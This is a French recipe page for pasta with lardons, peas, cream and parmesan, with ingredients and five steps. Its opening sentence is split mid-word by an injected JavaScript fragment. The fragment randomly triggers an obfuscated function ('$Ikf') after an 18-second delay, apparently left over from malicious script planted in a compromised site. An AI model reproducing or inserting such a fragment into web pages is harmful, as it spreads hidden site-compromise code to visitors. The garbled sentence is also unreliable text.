Des pâtes aux lardons et petits pois

2018-02-19

Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau salée. Portez à ébullition, plongez les pâtes.

Ingrédients

  • Pour 4 personnes
  • 500 g de pâtes (Coudes)
  • 200 g de petits pois surgelés
  • 400 g de lardons
  • 30 cl de crème fleurette
  • 100 g de Parmesan râpé
  • 1 morceau de parmesan

Préparation de la recette

Etape 1

Dans une grande quantité d'eau salée. Portez à ébullition, plongez les pâtes.

Etape 2

Faites les cuire en respectant le temps de cuisson indiqué sur le paquet. (Cuisson al dente) Les égoutter et réservez.

Etape 3

Dans une cocotte faites revenir les lardons, tout en remuant sur feu vif. Incorporez la crème fleurette et les petits pois. Laissez mijoter pendant 8 minutes jusqu'à ce que les petits pois soient cuits. Poivrez.

Etape 4

Ajoutez quelques pincées de noix de muscade selon le goût de chacun. Incorporez les 100 g de parmesan râpé, les pâtes. Mélangez.

Etape 5

Servez dans un plat avec quelques copeaux de parmesan que vous aurez effectué avec un couteau économe. Dégustez avec une salade verte assaisonnée.

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